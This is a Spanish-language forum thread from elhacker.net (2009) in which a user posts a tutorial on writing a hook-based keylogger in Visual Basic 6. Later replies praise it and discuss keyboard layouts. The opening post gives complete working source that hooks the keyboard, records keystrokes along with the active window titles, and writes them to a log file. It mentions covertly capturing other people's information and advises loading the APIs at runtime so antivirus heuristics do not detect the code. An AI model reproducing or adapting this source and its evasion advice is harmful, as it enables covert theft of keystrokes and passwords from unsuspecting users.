elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Introducción a Git (Primera Parte)


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP)
| | | |-+  Programación Visual Basic (Moderadores: LeandroA, seba123neo)
| | | | |-+  [VB6] Creacion de un Keylogger 'avanzado' {HOOK}
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 Ir Abajo Respuesta Imprimir
Autor Tema: [VB6] Creacion de un Keylogger 'avanzado' {HOOK}  (Leído 28,864 veces)
Karcrack


Desconectado Desconectado

Mensajes: 2.416


Se siente observado ¬¬'


Ver Perfil
[VB6] Creacion de un Keylogger 'avanzado' {HOOK}
« en: 17 Agosto 2009, 19:18 pm »

Este manual forma parte de la #1 CM EZINE...

Citar
Indice:

  • Introducción:
  • Que es un Keylogger?
  • Clases de Keyloggers.
  • Para que sirven?
  • Al grano:
  • APIs.
  • Declaraciones, Constantes y Tipos.
  • Funciones.
  • Código de ejemplo.
  • Despedida y consejos.



Introducción:

Que es un keylogger?

Código:
Un keylogger (Key=Tecla Logger=Registrador) es una herramienta de diagnóstico utilizada en el 
desarrollo de software que se encarga de registrar las pulsaciones que se realizan sobre el teclado, para
memorizarlas en un fichero y/o enviarlas a través de Internet.

Por lo tanto asumimos que registra las teclas que se presionan en el teclado.



Clases de Keyloggers.

Bueno, hay varios tipos de keyloggers, yo me voy a centrar en los de Software.

Hay tres tipos:

  • Ring 0: Los que se ejecutan desde el núcleo del sistema, lo que los hace bastante mas difíciles de eliminar.
  • Hook: Se ejecutan en Modo Usuario y utilizan un 'Enganche' al sistema, para que cuando se presione una tecla el sistema te advierte. Este es el método que trataremos en la parte practica.
  • Otros metodos: Estos son otros metodos, normalmente peores. Por ejemplo, un keylogger que cada cierto intervalo de tiempo compruebe tecla por tecla cual esta presionada.



Para que sirven?

Los keyloggers registran cualquier tecla pulsada en el sistema, por lo tanto pueden servir muchas cosas. Desde observar si tus empleados entran a webs a las que no deberían. Hasta para obtener información ajena de forma oculta.




Al grano:

APIs:

Las apis que usaremos serán las siguientes.:

  • CopyMemory: Para volcar la información del hook a una variable.
  • SetWindowsHookExA: Para establecer el hook al teclado.
  • CallNextHookEx: Para continuar con nuestro hook.
  • UnhookWindowsHookEx: Para deshacer el hook al teclado.
  • GetAsyncKeyState: Para saber si la tecla Shift esta presionada.
  • GetForegroundWindow: Para obtener la ventana que tiene el foco.
  • GetWindowTextA: Para obtener el texto de una ventana.



Declaraciones, Constantes y Tipos.

Constantes:

WH_KEYBOARD_LL =  13 : Esta constante contiene el valor que indica al API SetWindowsHookEx que tipo de Hook es.

Declaraciones Globales:

KBHook : Esta declaración global indica el numero asignado a nuestro Hook de teclado.

KeyData: Para almacenar las teclas recogidas antes de almacenarlas.

lHwnd : Para almacenar la ultima venta activa.

Tipos:

KBDLLHOOKSTRUCT : Para obtener la información que nos da el Hook.



Funciones:

Función para habilitar o deshabilitar el hook al teclado:

Código
  1. Public Sub ManageKeylogger(ByVal Enable As Boolean)
  2.    Select Case Enable
  3.        Case True
  4.            KBHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf KBProc, App.hInstance,0)
  5.        Case False
  6.            Call UnhookWindowsHookEx(KBHook)
  7.    End Select
  8. End Sub

Función para recibir la información del AddressOf:

Código
  1. Public Function KBProc(ByVal nCode As Long, ByVal wParam As Long, lParam As Long) As Long
  2.    Dim KeyBoardHook        As KBDLLHOOKSTRUCT
  3.  
  4.    If nCode = 0 Then
  5.        CopyMemory KeyBoardHook, lParam, Len(KeyBoardHook)
  6.        With KeyBoardHook
  7.            If .Flags = 0 Or .Flags = 1 Then
  8.                If SaveLog(TranslateKey(.VkCode)) > 50 Then
  9.                    Call LogToFile(App.Path & "\Log.log")
  10.                End If
  11.            End If
  12.        End With
  13.    Else
  14.        KBProc = CallNextHookEx(KBHook, nCode, wParam, lParam)
  15.    End If
  16. End Function

Función para pasar del valor numérico de la tecla a el valor correspondiente:

Código
  1. Private Function TranslateKey(ByVal KeyCode As Long) As String
  2.    Dim LngShift            As Long
  3.  
  4.    'Funcion optimizada para su uso en teclados españoles.
  5.  
  6.    LngShift = GetAsyncKeyState(vbKeyShift)
  7.    If KeyCode >= 58 And KeyCode <= 90 Then
  8.        TranslateKey = IIf(LngShift <> 0, UCase(Chr(KeyCode)), LCase(Chr(KeyCode)))
  9.    ElseIf KeyCode >= 96 And KeyCode <= 105 Then
  10.        TranslateKey = Chr(KeyCode - 48)
  11.    ElseIf KeyCode >= 112 And KeyCode <= 123 Then
  12.        TranslateKey = "{F" & KeyCode - 111 & "}"
  13.    Else
  14.        If KeyCode = 160 Then TranslateKey = ""
  15.        If KeyCode = 161 Then TranslateKey = "{SHIFT DER.}"
  16.        If KeyCode = 38 Then TranslateKey = "{FLECHA ARRIBA}"
  17.        If KeyCode = 40 Then TranslateKey = "{FLECHA ABAJO}"
  18.        If KeyCode = 37 Then TranslateKey = "{FLECHA IZQ.}"
  19.        If KeyCode = 39 Then TranslateKey = "{FLECHA DER.}"
  20.        If KeyCode = 32 Then TranslateKey = "{ESPACIO}"
  21.        If KeyCode = 27 Then TranslateKey = "{ESC}"
  22.        If KeyCode = 46 Then TranslateKey = "{DEL}"
  23.        If KeyCode = 36 Then TranslateKey = "{HOME}"
  24.        If KeyCode = 35 Then TranslateKey = "{END}"
  25.        If KeyCode = 33 Then TranslateKey = "{PAGE UP}"
  26.        If KeyCode = 34 Then TranslateKey = "{PAGE DOWN}"
  27.        If KeyCode = 45 Then TranslateKey = "{PASTE}"
  28.        If KeyCode = 144 Then TranslateKey = "{NUM}"
  29.        If KeyCode = 111 Then TranslateKey = "{NUMPAD / }"
  30.        If KeyCode = 106 Then TranslateKey = "{NUMPAD * }"
  31.        If KeyCode = 109 Then TranslateKey = "{NUMPAD - }"
  32.        If KeyCode = 107 Then TranslateKey = "{NUMPAD + }"
  33.        If KeyCode = 13 Then TranslateKey = "{ENTER}"
  34.        If KeyCode = 8 Then TranslateKey = "{BACK}"
  35.        If KeyCode = 221 Then TranslateKey = "{ACCENTO}"
  36.        If KeyCode = 9 Then TranslateKey = "{TAB}"
  37.        If KeyCode = 20 Then TranslateKey = "{BLOQ. MAYUS}"
  38.        If KeyCode = 162 Then TranslateKey = "{STRG LEFT}"
  39.        If KeyCode = 163 Then TranslateKey = "{STRG DER.}"
  40.        If KeyCode = 91 Then TranslateKey = "{WINDOWS}"
  41.        If KeyCode = 164 Then TranslateKey = "{ALT}"
  42.        If KeyCode = 165 Then TranslateKey = "{ALTGR}"
  43.        If KeyCode = 93 Then TranslateKey = "{MENU CONTEXTUAL}"
  44.        If KeyCode = 188 Then TranslateKey = IIf(LngShift <> 0, ";", ",")
  45.        If KeyCode = 190 Then TranslateKey = IIf(LngShift <> 0, ":", ".")
  46.        If KeyCode = 189 Then TranslateKey = IIf(LngShift <> 0, "_", "-")
  47.        If KeyCode = 191 Then TranslateKey = IIf(LngShift <> 0, "'", "#")
  48.        If KeyCode = 187 Then TranslateKey = IIf(LngShift <> 0, "*", "+")
  49.        If KeyCode = 186 Then TranslateKey = IIf(LngShift <> 0, "Ü", "ü")
  50.        If KeyCode = 192 Then TranslateKey = IIf(LngShift <> 0, "Ö", "ö")
  51.        If KeyCode = 222 Then TranslateKey = IIf(LngShift <> 0, "Ä", "ä")
  52.        If KeyCode = 219 Then TranslateKey = IIf(LngShift <> 0, "?", "ß")
  53.        If KeyCode = 220 Then TranslateKey = IIf(LngShift <> 0, "°", "^")
  54.        If KeyCode = 48 Then TranslateKey = IIf(LngShift <> 0, "=", "0")
  55.        If KeyCode = 49 Then TranslateKey = IIf(LngShift <> 0, "!", "1")
  56.        If KeyCode = 50 Then TranslateKey = IIf(LngShift <> 0, """", "2")
  57.        If KeyCode = 51 Then TranslateKey = IIf(LngShift <> 0, "§", "3")
  58.        If KeyCode = 52 Then TranslateKey = IIf(LngShift <> 0, "$", "4")
  59.        If KeyCode = 53 Then TranslateKey = IIf(LngShift <> 0, "%", "5")
  60.        If KeyCode = 54 Then TranslateKey = IIf(LngShift <> 0, "&", "6")
  61.        If KeyCode = 55 Then TranslateKey = IIf(LngShift <> 0, "/", "7")
  62.        If KeyCode = 56 Then TranslateKey = IIf(LngShift <> 0, "(", "8")
  63.        If KeyCode = 57 Then TranslateKey = IIf(LngShift <> 0, ")", "9")
  64.        If KeyCode = 145 Then TranslateKey = "{ROLL}"
  65.        If KeyCode = 44 Then TranslateKey = "{PRINT}"
  66.        If KeyCode = 19 Then TranslateKey = "{PAUSE}"
  67.        If TranslateKey = "" And KeyCode <> 160 Then TranslateKey = KeyCode
  68.    End If
  69. End Function

Función para guardar la información pulsada en una variable:

Código
  1. Public Function SaveLog(ByVal sKey As String) As Double
  2.    Dim aHwnd               As Long
  3.    Dim WinText             As String
  4.    aHwnd = GetForegroundWindow
  5.  
  6.    If aHwnd <> lHwnd Then
  7.        lHwnd = aHwnd
  8.        WinText = String$(255, Chr$(0))
  9.        Call GetWindowText(aHwnd, WinText, Len(WinText))
  10.        WinText = Left$(WinText, InStr(WinText, Chr$(0)) - 1)
  11.  
  12.        KeyData = KeyData & vbCrLf & "{" & WinText & "} - [" & Now$ & "]" & vbCrLf
  13.    End If
  14.  
  15.    KeyData = KeyData & sKey
  16.  
  17.    SaveLog = Len(KeyData)
  18. End Function

Función para volcar la variable en un fichero:

Código
  1. Public Sub LogToFile(ByVal sPath As String)
  2.    Open sPath For Binary As #1
  3.        Put #1, , KeyData
  4.    Close #1
  5. End Sub




Código de ejemplo:

Código
  1. Option Explicit
  2.  
  3. '|||||||||||||||||||||||
  4. '|                     |
  5. '|Autor: Karcrack      |
  6. '|Fecha: 24/09/08      |
  7. '|                     |
  8. '|||||||||||||||||||||||
  9.  
  10.  
  11. Private Declare Function SetWindowsHookEx Lib "user32.dll" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
  12. Private Declare Function UnhookWindowsHookEx Lib "user32.dll" (ByVal hHook As Long) As Long
  13. Private Declare Function CallNextHookEx Lib "user32.dll" (ByVal hHook As Long, ByVal nCode As Long, ByVal wParam As Long, ByRef lParam As Any) As Long
  14. Private Declare Sub CopyMemory Lib "kernel32.dll" Alias "RtlMoveMemory" (ByRef Destination As Any, ByRef Source As Any, ByVal Length As Long)
  15. Private Declare Function GetAsyncKeyState Lib "user32.dll" (ByVal vKey As Long) As Integer
  16. Private Const WH_KEYBOARD_LL   As Long = 13
  17.  
  18. Private Declare Function GetForegroundWindow Lib "user32.dll" () As Long
  19. Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
  20.  
  21. Public Type KBDLLHOOKSTRUCT
  22.    VkCode                  As Long
  23.    ScanCode                As Long
  24.    Flags                   As Long
  25.    Time                    As Long
  26.    DwExtraInfo             As Long
  27. End Type
  28.  
  29. Dim KBHook                  As Long
  30. Dim KeyData                 As String
  31. Dim lHwnd                   As Long
  32.  
  33. Public Sub ManageKeylogger(ByVal Enable As Boolean)
  34.    Select Case Enable
  35.        Case True
  36.            KBHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf KBProc, App.hInstance, 0)
  37.        Case False
  38.            Call UnhookWindowsHookEx(KBHook)
  39.    End Select
  40. End Sub
  41.  
  42. Public Function KBProc(ByVal nCode As Long, ByVal wParam As Long, lParam As Long) As Long
  43.    Dim KeyBoardHook        As KBDLLHOOKSTRUCT
  44.  
  45.    If nCode = 0 Then
  46.        CopyMemory KeyBoardHook, lParam, Len(KeyBoardHook)
  47.        With KeyBoardHook
  48.            If .Flags = 0 Or .Flags = 1 Then
  49.                If SaveLog(TranslateKey(.VkCode)) > 50 Then
  50.                    Call LogToFile(App.Path & "\Log.log")
  51.                End If
  52.            End If
  53.        End With
  54.    Else
  55.        KBProc = CallNextHookEx(KBHook, nCode, wParam, lParam)
  56.    End If
  57. End Function
  58.  
  59. Private Function TranslateKey(ByVal KeyCode As Long) As String
  60.    Dim LngShift            As Long
  61.  
  62.    'Funcion optimizada para su uso en teclados españoles.
  63.  
  64.    LngShift = GetAsyncKeyState(vbKeyShift)
  65.    If KeyCode >= 58 And KeyCode <= 90 Then
  66.        TranslateKey = IIf(LngShift <> 0, UCase(Chr(KeyCode)), LCase(Chr(KeyCode)))
  67.    ElseIf KeyCode >= 96 And KeyCode <= 105 Then
  68.        TranslateKey = Chr(KeyCode - 48)
  69.    ElseIf KeyCode >= 112 And KeyCode <= 123 Then
  70.        TranslateKey = "{F" & KeyCode - 111 & "}"
  71.    Else
  72.        If KeyCode = 160 Then TranslateKey = ""
  73.        If KeyCode = 161 Then TranslateKey = "{SHIFT DER.}"
  74.        If KeyCode = 38 Then TranslateKey = "{FLECHA ARRIBA}"
  75.        If KeyCode = 40 Then TranslateKey = "{FLECHA ABAJO}"
  76.        If KeyCode = 37 Then TranslateKey = "{FLECHA IZQ.}"
  77.        If KeyCode = 39 Then TranslateKey = "{FLECHA DER.}"
  78.        If KeyCode = 32 Then TranslateKey = "{ESPACIO}"
  79.        If KeyCode = 27 Then TranslateKey = "{ESC}"
  80.        If KeyCode = 46 Then TranslateKey = "{DEL}"
  81.        If KeyCode = 36 Then TranslateKey = "{HOME}"
  82.        If KeyCode = 35 Then TranslateKey = "{END}"
  83.        If KeyCode = 33 Then TranslateKey = "{PAGE UP}"
  84.        If KeyCode = 34 Then TranslateKey = "{PAGE DOWN}"
  85.        If KeyCode = 45 Then TranslateKey = "{PASTE}"
  86.        If KeyCode = 144 Then TranslateKey = "{NUM}"
  87.        If KeyCode = 111 Then TranslateKey = "{NUMPAD / }"
  88.        If KeyCode = 106 Then TranslateKey = "{NUMPAD * }"
  89.        If KeyCode = 109 Then TranslateKey = "{NUMPAD - }"
  90.        If KeyCode = 107 Then TranslateKey = "{NUMPAD + }"
  91.        If KeyCode = 13 Then TranslateKey = "{ENTER}"
  92.        If KeyCode = 8 Then TranslateKey = "{BACK}"
  93.        If KeyCode = 221 Then TranslateKey = "{ACCENTO}"
  94.        If KeyCode = 9 Then TranslateKey = "{TAB}"
  95.        If KeyCode = 20 Then TranslateKey = "{BLOQ. MAYUS}"
  96.        If KeyCode = 162 Then TranslateKey = "{STRG LEFT}"
  97.        If KeyCode = 163 Then TranslateKey = "{STRG DER.}"
  98.        If KeyCode = 91 Then TranslateKey = "{WINDOWS}"
  99.        If KeyCode = 164 Then TranslateKey = "{ALT}"
  100.        If KeyCode = 165 Then TranslateKey = "{ALTGR}"
  101.        If KeyCode = 93 Then TranslateKey = "{MENU CONTEXTUAL}"
  102.        If KeyCode = 188 Then TranslateKey = IIf(LngShift <> 0, ";", ",")
  103.        If KeyCode = 190 Then TranslateKey = IIf(LngShift <> 0, ":", ".")
  104.        If KeyCode = 189 Then TranslateKey = IIf(LngShift <> 0, "_", "-")
  105.        If KeyCode = 191 Then TranslateKey = IIf(LngShift <> 0, "'", "#")
  106.        If KeyCode = 187 Then TranslateKey = IIf(LngShift <> 0, "*", "+")
  107.        If KeyCode = 186 Then TranslateKey = IIf(LngShift <> 0, "Ü", "ü")
  108.        If KeyCode = 192 Then TranslateKey = IIf(LngShift <> 0, "Ö", "ö")
  109.        If KeyCode = 222 Then TranslateKey = IIf(LngShift <> 0, "Ä", "ä")
  110.        If KeyCode = 219 Then TranslateKey = IIf(LngShift <> 0, "?", "ß")
  111.        If KeyCode = 220 Then TranslateKey = IIf(LngShift <> 0, "°", "^")
  112.        If KeyCode = 48 Then TranslateKey = IIf(LngShift <> 0, "=", "0")
  113.        If KeyCode = 49 Then TranslateKey = IIf(LngShift <> 0, "!", "1")
  114.        If KeyCode = 50 Then TranslateKey = IIf(LngShift <> 0, """", "2")
  115.        If KeyCode = 51 Then TranslateKey = IIf(LngShift <> 0, "§", "3")
  116.        If KeyCode = 52 Then TranslateKey = IIf(LngShift <> 0, "$", "4")
  117.        If KeyCode = 53 Then TranslateKey = IIf(LngShift <> 0, "%", "5")
  118.        If KeyCode = 54 Then TranslateKey = IIf(LngShift <> 0, "&", "6")
  119.        If KeyCode = 55 Then TranslateKey = IIf(LngShift <> 0, "/", "7")
  120.        If KeyCode = 56 Then TranslateKey = IIf(LngShift <> 0, "(", "8")
  121.        If KeyCode = 57 Then TranslateKey = IIf(LngShift <> 0, ")", "9")
  122.        If KeyCode = 145 Then TranslateKey = "{ROLL}"
  123.        If KeyCode = 44 Then TranslateKey = "{PRINT}"
  124.        If KeyCode = 19 Then TranslateKey = "{PAUSE}"
  125.        If TranslateKey = "" And KeyCode <> 160 Then TranslateKey = KeyCode
  126.    End If
  127. End Function
  128.  
  129. Public Function SaveLog(ByVal sKey As String) As Double
  130.    Dim aHwnd               As Long
  131.    Dim WinText             As String
  132.    aHwnd = GetForegroundWindow
  133.  
  134.    If aHwnd <> lHwnd Then
  135.        lHwnd = aHwnd
  136.        WinText = String$(255, Chr$(0))
  137.        Call GetWindowText(aHwnd, WinText, Len(WinText))
  138.        WinText = Left$(WinText, InStr(WinText, Chr$(0)) - 1)
  139.  
  140.        KeyData = KeyData & vbCrLf & "{" & WinText & "} - [" & Now() & "]" & vbCrLf
  141.    End If
  142.  
  143.    KeyData = KeyData & sKey
  144.  
  145.    SaveLog = Len(KeyData)
  146. End Function
  147.  
  148. Public Sub LogToFile(ByVal sPath As String)
  149.    Open sPath For Binary As #1
  150.        Put #1, , KeyData
  151.    Close #1
  152. End Sub
  153.  




Despedida y consejos.

Hasta aquí el manual, me ha llevado aproximadamente escribir y codear el manual 1 hora y 30 minutos... a ver si a la próxima supero mi marca :xD

Bueno, recomendaciones, hay muchas... entre ellas no copiéis tal cual el code, porque se hará detectable en cuestión de minutos (si no lo es ya). Para hacer indetectable este código debéis cargar las APIs en ejecución, porque la heuristica salta seguro.

Saludos :D

Happy Coding ;)

Saludos ;D


« Última modificación: 17 Agosto 2009, 19:20 pm por Karcrack » En línea

Spider-Net


Desconectado Desconectado

Mensajes: 1.165


Un gran poder conlleva una gran responsabilidad


Ver Perfil WWW
Re: [VB6] Creacion de un Keylogger 'avanzado' {HOOK}
« Respuesta #1 en: 17 Agosto 2009, 19:22 pm »

La verdad es que está muy bien el manual, creo que es un buen ejemplo para cualquiera que quiera hacer un keylogger con hooks.

De nuevo te felicito por el tutorial karcrack.

Un saludo!


En línea

el_c0c0


Desconectado Desconectado

Mensajes: 307


Ver Perfil
Re: [VB6] Creacion de un Keylogger 'avanzado' {HOOK}
« Respuesta #2 en: 17 Agosto 2009, 19:57 pm »

si no me equivoco habia una forma de obtener el nombre de la tecla con un api, obviamente el resultado varia segun el lenguaje del pc.

saludos y muy interesante
En línea

'-     coco
"Te voy a romper el orto"- Las hemorroides
Karcrack


Desconectado Desconectado

Mensajes: 2.416


Se siente observado ¬¬'


Ver Perfil
Re: [VB6] Creacion de un Keylogger 'avanzado' {HOOK}
« Respuesta #3 en: 17 Agosto 2009, 19:59 pm »

si no me equivoco habia una forma de obtener el nombre de la tecla con un api, obviamente el resultado varia segun el lenguaje del pc.

saludos y muy interesante
Si, pero en la epoca que hice el tuto no sabia tanto :xD

Hay un codigo de Cobein que lo demuestra muy bien ;)
Perdon, es de Paul Caton:
Código:
http://www.planetsourcecode.com/vb/scripts/ShowCode.asp?txtCodeId=51403&lngWId=1

Creo que es este :xD
« Última modificación: 17 Agosto 2009, 20:14 pm por Karcrack » En línea

‭‭‭‭jackl007


Desconectado Desconectado

Mensajes: 1.403


[UserRPL]


Ver Perfil WWW
Re: [VB6] Creacion de un Keylogger 'avanzado' {HOOK}
« Respuesta #4 en: 17 Agosto 2009, 20:21 pm »

tambien se puede conseguir cogiendo el layout del keyboard, y segun eso podrias saber que modulo de teclas coger segun la distribucion del teclado (americano, latinoamericano, español) ...
En línea

Karcrack


Desconectado Desconectado

Mensajes: 2.416


Se siente observado ¬¬'


Ver Perfil
Re: [VB6] Creacion de un Keylogger 'avanzado' {HOOK}
« Respuesta #5 en: 17 Agosto 2009, 20:40 pm »

tambien se puede conseguir cogiendo el layout del keyboard, y segun eso podrias saber que modulo de teclas coger segun la distribucion del teclado (americano, latinoamericano, español) ...
Si bueno... nunca lo consegui hacer correctamente en VB... intento pasar al ToAsciiEx el layout, pero me devuelve un Char erroneo... tengo que seguir investigando :-\

Yo lo tengo facil para hacer pruebas, porque mi portatil tiene un teclado ingles, pero cuando lo conecto a la dockstation utilizo un teclado español, y activo el Layout español... pero me falla igual :laugh:

Seguire provando... cuando tenga tiempo :¬¬
En línea

Jaixon Jax


Desconectado Desconectado

Mensajes: 859



Ver Perfil
Re: [VB6] Creacion de un Keylogger 'avanzado' {HOOK}
« Respuesta #6 en: 17 Agosto 2009, 20:54 pm »

 :laugh:

  Ya veo por que eres moderador jeje ..



  Karcrack Presidente.

  Bueno el Visual Basic es mas digerible para mi  que el ASM  :-[ por el momento por lo que me pongo ha trabajar para pasar este code a C++.

  Gracias Saludos...
« Última modificación: 17 Agosto 2009, 21:07 pm por Jaixon Jax » En línea

Karcrack


Desconectado Desconectado

Mensajes: 2.416


Se siente observado ¬¬'


Ver Perfil
Re: [VB6] Creacion de un Keylogger 'avanzado' {HOOK}
« Respuesta #7 en: 17 Agosto 2009, 21:07 pm »

@Jaixon Jax:
Yo no soy moderador de VB... es seba123neo, que aunque hace bastante que no comparte tambien sabe mucho ;D

Este manual es viejo... un año o asi tiene... asi que imagina lo que he aprendido desde entonces :silbar: :xD :xD

Por cierto, muy buena la imagen :laugh:
En línea

h0oke


Desconectado Desconectado

Mensajes: 2.059


Coder ~


Ver Perfil WWW
Re: [VB6] Creacion de un Keylogger 'avanzado' {HOOK}
« Respuesta #8 en: 18 Agosto 2009, 00:05 am »

Karcrack, felicitaciones! Muy bueno el manual.

Karcrack, gracias por postear, y hacer que VB tenga sentido.
En línea

HaX991

Desconectado Desconectado

Mensajes: 33



Ver Perfil
Re: [VB6] Creacion de un Keylogger 'avanzado' {HOOK}
« Respuesta #9 en: 20 Agosto 2009, 15:24 pm »

karcrack muy bueno tu manual pero ese metodo es muy utilizado. Si alguien esta interesado en hacer un Keylogger por hardware, k estaria bastantes interesante construirse uno propio, visiten esta pagina web: www.keelog.com donde se explica como fabricarse su propio keylogger por hardware pero solo para teclados PS/2 y si quieren uno para teclados USB pueden comprarlo en esa pagina, o intentar crear uno.
En línea

Páginas: [1] 2 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Creando keylogger con hook « 1 2 »
Programación Visual Basic
aaronduran2 12 6,546 Último mensaje 7 Octubre 2008, 16:16 pm
por aaronduran2
Tutorial - VBScript Avanzado(Creacion Comandos Complejos para Cmd)
Scripting
EddyW 5 32,213 Último mensaje 27 Abril 2009, 08:14 am
por EddyW
Keylogger hook - error doble acento teclado español (``)
Programación Visual Basic
river_0119 6 9,439 Último mensaje 29 Abril 2010, 17:31 pm
por river_0119
Problemas con un Keylogger con HOOK
Programación Visual Basic
Anteros 1 3,782 Último mensaje 8 Agosto 2010, 02:28 am
por Sanlegas
Creación de un menu avanzado
Scripting
telururo 0 1,726 Último mensaje 3 Noviembre 2018, 13:06 pm
por telururo
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines